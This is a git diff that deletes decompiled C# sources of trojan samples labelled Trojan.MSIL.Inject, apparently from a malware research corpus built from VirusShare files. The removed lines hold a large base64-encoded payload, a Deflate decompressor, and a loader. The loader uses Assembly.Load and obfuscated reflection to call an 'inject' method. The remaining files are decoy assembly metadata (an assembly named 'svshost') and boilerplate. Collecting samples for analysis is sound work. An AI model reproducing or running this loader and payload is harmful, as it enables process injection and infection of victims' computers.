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"))); - Assembly.Load(rawAssembly).GetType("W,,,,i,n,,,,,,,,,,d,,,ow,,,s,,,,,A,p,,,pl,,i,,,,c,,,,,at,,io,,,,n,,,2,,,,.m,,,od,,,u,l,,,e,1,,,".Replace(",", "")).GetMethod(",,,,i,,,,,n,,,,j,,,,e,c,t,,".Replace(",", "")).Invoke((object) null, new object[1] - { - (object) new ArrayList() { (object) numArray } - }); - object obj; - return obj; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/sakiajfwefjwa.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/sakiajfwefjwa.cs deleted file mode 100644 index 3399efe9..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86/sakiajfwefjwa.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: sakiajfwefjwa -// Assembly: svshost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: C06A01B4-C5C5-4996-A5A4-97A6A6B68B93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.qn-c112900cf5623f6aa5b0f1ce346cffb90ec3e7bef9632e9e204a946ca3672c86.exe - -using Microsoft.VisualBasic.CompilerServices; -using System.Collections; -using System.IO; -using System.IO.Compression; - -[StandardModule] -internal sealed class sakiajfwefjwa -{ - public static byte[] ÈÈÉ(byte[] ÂÄÀ) - { - MemoryStream memoryStream1 = new MemoryStream(ÂÄÀ); - MemoryStream memoryStream2 = new MemoryStream(); - DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress); - byte[] numArray = new byte[1024]; - while (true) - { - int count = deflateStream.Read(numArray, 0, 1024); - if (count != 0) - memoryStream2.Write(numArray, 0, count); - else - break; - } - deflateStream.Close(); - memoryStream2.Close(); - return memoryStream2.ToArray(); - } - - public static void eleven() - { - ArrayList arrayList = new ArrayList() - { - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa", - (object) "dzzz", - (object) "dawojdwoajdwojdwaoj", - (object) "kowaddkwodowakdaowk", - (object) "wafkwaofkawfofkwfwofwkw", - (object) "kdaowkdwawdk", - (object) "dawkodwa" - }; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/AssemblyInfo.cs deleted file mode 100644 index a7c5c8a7..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/AssemblyInfo.cs +++ /dev/null @@ -1,7 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyCopyright("YrxIxldYENOZMCu")] -[assembly: AssemblyFileVersion("3.3.8.9")] -[assembly: AssemblyTrademark("bnXCyRpFrPJpjuD")] -[assembly: AssemblyProduct("sIvfEDxxiiPKtUM")] -[assembly: AssemblyVersion("3.3.8.9")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyApplication.cs deleted file mode 100644 index 488f26a4..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: warcnostart, Version=3.3.8.9, Culture=neutral, PublicKeyToken=null -// MVID: A32EF3A4-FB6C-415E-B03C-F5A66E56A760 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyComputer.cs deleted file mode 100644 index 52ff6c85..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: warcnostart, Version=3.3.8.9, Culture=neutral, PublicKeyToken=null -// MVID: A32EF3A4-FB6C-415E-B03C-F5A66E56A760 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyProject.cs deleted file mode 100644 index 8a442de4..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: warcnostart, Version=3.3.8.9, Culture=neutral, PublicKeyToken=null -// MVID: A32EF3A4-FB6C-415E-B03C-F5A66E56A760 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Inject.sh-44d0a93a5335b8d939535abc9230ed48586abb1ab731d2b98f9f61dcf9e5ca4a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - 